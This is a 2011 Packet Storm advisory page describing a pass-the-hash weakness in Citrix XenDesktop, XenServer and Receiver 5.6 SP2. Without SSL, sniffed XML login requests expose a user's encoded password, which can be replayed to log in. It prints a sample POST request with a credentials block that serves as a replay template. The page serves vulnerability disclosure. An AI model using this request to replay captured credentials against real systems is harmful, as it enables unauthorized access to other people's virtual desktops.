exploit the possibilities

Citrix XenDesktop, XenServer, Receiver 5.6 SP2 Pass-The-Hash

Citrix XenDesktop, XenServer, Receiver 5.6 SP2 Pass-The-Hash
Posted Dec 15, 2011
Authored by vtek63

Citrix XenDesktop, XenServer, Receiver version 5.6 SP2 suffer from a pass-the-hash attack vulnerability due to not using SSL.

tags | exploit
MD5 | dad36359a82bbd34ae50a240d2153210

Citrix XenDesktop, XenServer, Receiver 5.6 SP2 Pass-The-Hash

Change Mirror Download
Tested against: Citrix XenDesktop, XenServer, Receiver 5.6 SP2 (possibly other versions as well)

By default, the authentication between the Citrix Receiver client to the Web interface is not configured to use SSL. If a company elects not to use SSL for this, the XML transaction between the receiver client and the Web Interface server to enum.aspx and launch.aspx contains the username and encoded password of the user. If an attacker can sniff this authentication traffic, they can use the encoded password to perform a "pass-the-hash" type attack to log in as the user via Citrix Receiver and gain access to the users Virtual Desktop(s).

POST /Citrix/XDPNAgent/enum.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: C:\PROGRA~1\Citrix\ICACLI~1\PNAMain.exe
Host: xxx.xxx.xxx.xxx
Content-Length: 705
Connection: Keep-Alive
Cache-Control: no-cache

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE NFuseProtocol SYSTEM "NFuse.dtd"><NFuseProtocol version="4.6"><RequestAppData><Scope traverse="onelevel" type="PNFolder">$PRELAUNCH$</Scope><DesiredDetails>permissions</DesiredDetails><DesiredDetails>icon-info</DesiredDetails><DesiredDetails>all</DesiredDetails><ServerType>x</ServerType><ServerType>win32</ServerType><ClientType>ica30</ClientType><ClientType>content</ClientType><Credentials><UserName>domain\myuser</UserName><Password encoding="ctx1">ENCODEDPASSWORDHERE</Password><Domain type="NT"></Domain></Credentials><ClientName>COMPUTER01</ClientName><ClientAddress>xxx.xxx.xxx.xxx</ClientAddress></RequestAppData></NFuseProtocol>

More information on how it works:
http://eelsivart.blogspot.com/2011/12/citrix-receiver-xendesktop-pass-hash.html
Login or Register to add favorites

File Archive:

November 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    19 Files
  • 2
    Nov 2nd
    25 Files
  • 3
    Nov 3rd
    8 Files
  • 4
    Nov 4th
    7 Files
  • 5
    Nov 5th
    24 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    0 Files
  • 8
    Nov 8th
    18 Files
  • 9
    Nov 9th
    9 Files
  • 10
    Nov 10th
    106 Files
  • 11
    Nov 11th
    19 Files
  • 12
    Nov 12th
    13 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    18 Files
  • 16
    Nov 16th
    12 Files
  • 17
    Nov 17th
    15 Files
  • 18
    Nov 18th
    12 Files
  • 19
    Nov 19th
    4 Files
  • 20
    Nov 20th
    2 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    22 Files
  • 23
    Nov 23rd
    14 Files
  • 24
    Nov 24th
    19 Files
  • 25
    Nov 25th
    4 Files
  • 26
    Nov 26th
    1 Files
  • 27
    Nov 27th
    4 Files
  • 28
    Nov 28th
    1 Files
  • 29
    Nov 29th
    11 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close